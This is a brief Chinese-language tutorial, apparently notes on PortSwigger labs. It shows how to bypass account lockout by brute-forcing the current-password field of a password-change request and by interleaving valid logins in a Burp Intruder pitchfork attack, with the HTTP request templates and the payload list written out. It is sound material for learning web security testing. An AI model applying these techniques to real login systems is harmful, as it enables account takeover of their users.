bypass brute-force lock

鎖定帳戶可以提供一定程度的保護,防止對特定帳戶進行有針對性的暴力破解,但還是有機會繞過鎖定機制,常見的幾個案例如下:

  • 改密碼的功能沒有限制原密碼錯誤次數
  • 鎖定機制邏輯缺陷

改密碼的功能沒有限制原密碼錯誤次數

在改密碼的功能中,原密碼沒有錯誤次數限制,因此可以不斷嘗試,舉例如下

某一系統更改密碼的請求如下

POST /my-account/change-password HTTP/1.1
...omit...
csrf=4hQDcFWEP3uFXO1TeqerBuKczGn4eYhw&username=wiener&current-password=peter&new-password-1=1&new-password-2=2

根據測試發現以下現象

  • current-password正確,但2個new-password結果不符合,返回New passwords do not match
  • current-password不正確,但2個new-password結果不符合,返回Current password is incorrect
  • current-password不正確的次數沒有限制

在更改密碼請求的部份,對current-password參數使用爆力密碼破解,並將username改為victim,如下所示

atatck  request( try different password)
POST /my-account/change-password HTTP/1.1
...omit...
csrf=4hQDcFWEP3uFXO1TeqerBuKczGn4eYhw&username=victim&current-password=$changepasswdhere$&new-password-1=1&new-password-2=2
response
if response New passwords do not match, that mean found current pw

在爆破過程中,一但發現返回內容為New passwords do not match,代表current-password正確,成功猜到原始密碼

Lab: Password brute-force via password change


鎖定機制邏輯缺陷

舉例來說,目標網站只要密碼錯誤3次以上就鎖定的安全機制,但該網站經過分析後發現一個特性,一旦有出現密碼輸入正確的情況,之前的錯誤累積就會歸0,因此可以利用這個特點繞過安全機制,發動爆力密碼破解

實際操作可以將登入請求放入Intruder,Positions設定以下,攻擊類型為Pitchfork

POST /login HTTP/1.1
...omit...

username=§payload1§&password=§payload2§

2個payload type選擇simple list,內容參考如下

payload1payload2
有效帳號正確密碼
目標受害帳號測試密碼1
目標受害帳號測試密碼2
有效帳號正確密碼
目標受害帳號測試密碼3
目標受害帳號測試密碼4
有效帳號有效帳號
目標受害帳號測試密碼5
目標受害帳號測試密碼6

Lab: Broken brute-force protection, IP block